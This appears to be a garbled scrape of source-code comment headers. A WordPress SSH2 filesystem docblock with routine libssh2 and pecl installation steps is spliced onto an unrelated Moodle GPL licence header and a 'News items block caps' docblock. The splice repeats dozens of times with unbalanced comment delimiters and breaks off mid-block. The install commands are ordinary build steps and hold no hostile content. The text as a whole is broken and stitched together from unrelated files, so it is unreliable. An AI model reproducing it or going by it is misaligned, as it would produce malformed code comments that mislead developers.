* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
* {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
*
* Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
*
* cd /usr/src
* wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
* tar -zxvf libssh2-0.14.tar.gz
* cd libssh2-0.14/
* ./configure
* make all install
*
* Note: Do not leave the directory yet!
*
* Enter: pecl install -f ssh2
*
* Copy the ssh.so file it creates to your PHP Module Directory.
* Open up your PHP.INI file and look for where extensions are placed.
* Add in your PHP.ini file: extension=ssh2.so
*
* Restart Apache!
* Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist.
*
* Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
*
* @since 2.7.0
*
* @package WordPress
* @subpackage Filesystem
***/// This file is part of Moodle - http://moodle.org/.
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* News items block caps.
*
* @package block_news_items
* @copyright Mark Nelson <markn@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
/**
* WordPress Filesystem Class for implementing SSH2
*
* To use this class you must follow these steps for PHP 5.2.6+
*
